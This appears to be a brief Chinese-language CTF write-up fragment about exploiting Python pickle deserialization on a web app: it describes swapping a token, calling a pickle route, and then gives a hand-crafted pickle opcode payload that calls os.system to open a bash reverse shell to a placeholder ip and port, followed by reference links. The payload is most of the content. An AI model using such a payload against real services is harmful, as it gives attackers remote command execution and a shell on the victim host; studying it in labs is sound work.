生成一个新的token,get传给主页路由后,再访问pickle路由,若有报错,则修改成功
没有过滤,r执行命令即可,没有回显,尝试反弹shell
op=b'''cos
system
(S'bash -c "bash -i >& /dev/tcp/ip/port 0>&1"'
tR.'''
参考文章
1.https://hachp1.github.io/posts/Web%E5%AE%89%E5%85%A8/20200328-pickle.html
2.https://www.anquanke.com/post/id/188981
3.https://chenlvtang.top/2021/08/23/Python%E4%B9%8BPickle%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/
4.https://tttang.com/archive/1885/